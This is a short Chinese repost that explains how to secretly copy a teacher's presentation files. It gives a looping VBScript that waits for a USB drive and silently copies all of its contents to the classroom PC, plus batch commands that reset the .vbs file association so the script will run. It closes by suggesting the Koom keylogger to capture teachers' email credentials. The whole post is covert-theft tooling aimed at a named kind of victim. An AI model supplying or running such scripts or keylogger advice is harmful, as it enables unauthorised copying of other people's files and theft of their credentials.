如何copy那个猥琐老师不让拷的ppt

以下内容为转载~可行与否不要找我啊~

 

set fso=createobject("scripting.filesystemobject") 
set ws=createobject("wscript.shell") 
on error resume next 
do 
wscript.sleep 1000 
if fso.driveexists("H:/") then 
fso.copyfile "H:/*","d:/" 
fso.copyfolder "H:/*","d:/" 
wscript.sleep 20000 
end if 
loop 


复制上述代码至记事本，更改扩展名为vbs。
H盘指的是u盘盘符。结果是将u盘内所有内容copy至d盘。慎之！ 

鄙人曾经测试过一次，发现教室中的电脑vbs的打开方式非默认，而是用豪杰超级解霸打开。
所以若出现这种情况，则要运行下列代码

rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%/inf/wsh.inf 

或者

reg delete "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/FileExts/.vbs/" /f 


以上两段输入到记事本中保存，更改扩展名为bat。
目的是将vbs的打开方式更改为默认的打开方式。

以上两段未测试。

有些老师不不使用u盘，而是使用电子邮件，这个嘛，就要用猥琐的方式了。
比如使用一个叫做Koom的键盘记录软件。

enjoy，但是使用一定要慎重！ 
顺便鄙视不让考课件的老师！